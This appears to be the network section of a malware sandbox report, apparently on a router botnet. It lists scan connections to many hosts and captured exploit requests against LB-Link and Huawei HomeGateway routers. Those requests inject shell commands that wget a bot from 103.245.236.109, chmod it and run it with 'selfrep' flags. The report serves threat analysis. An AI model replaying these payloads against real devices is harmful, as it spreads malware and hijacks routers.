Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.66.96.71:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.181.44.134:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.48.77.10:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.37.121.192:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.181.61.22:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.252.174.211:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.24.200.239:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.170.33.14:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.249.148.134:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.140.50.68:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.89.43.251:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.123.150.111:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.227.18.152:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.161.221.111:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.3.0.226:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.36.71.168:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.119.0.136:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.242.97.144:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.127.219.134:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.98.150.178:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.175.134.184:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.189.245.106:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.137.226.205:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.243.147.208:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.221.122.255:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.17.160.224:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.50.41.160:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.176.109.226:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.239.146.39:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.251.113.132:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.193.91.205:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.182.66.125:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.237.234.50:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.218.48.53:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.43.80.28:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.191.136.134:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.72.184.209:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.214.55.240:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.71.45.210:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.13.186.167:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.86.38.160:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.44.84.69:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.208.0.24:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.209.54.121:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.21.78.241:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.48.102.162:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.224.189.121:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.71.27.24:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.217.98.166:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.186.144.135:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.110.104.119:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.245.167.158:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.95.199.205:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.10.104.157:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.183.217.244:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.7.146.95:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.171.6.223:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.143.242.35:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.74.241.228:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.191.50.0:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.83.168.94:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.142.145.0:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.224.101.6:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.231.108.67:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.70.63.11:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.150.134.252:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.44.202.172:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.70.28.61:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.238.118.34:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.63.132.51:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.80.124.99:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.61.181.58:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.92.93.12:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.125.34.106:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.210.28.55:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.152.202.199:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.78.179.238:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.207.97.3:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.85.78.30:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.88.76.99:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.253.115.165:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.230.84.55:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.192.52.11:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.3.66.107:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.159.20.106:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.163.248.110:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.1.34.39:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.119.239.92:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.181.229.159:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.239.117.106:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.207.6.186:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.102.30.22:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.207.97.113:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.156.175.240:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.88.55.230:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.247.213.119:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.88.213.55:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.216.227.180:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.76.24.146:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.53.162.245:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.224.80.31:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.240.125.250:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.29.233.247:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.8.117.106:5000
Source: global traffic	TCP traffic: 192.168.2.23:39372 -> 182.160.136.174:5000

Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 20 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.245.236.109 -l /tmp/linux -r /skyljne.mips; /bin/busybox chmod 777 /tmp/linux; /tmp/linux selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 30 39 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.109/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;rm mpsl;
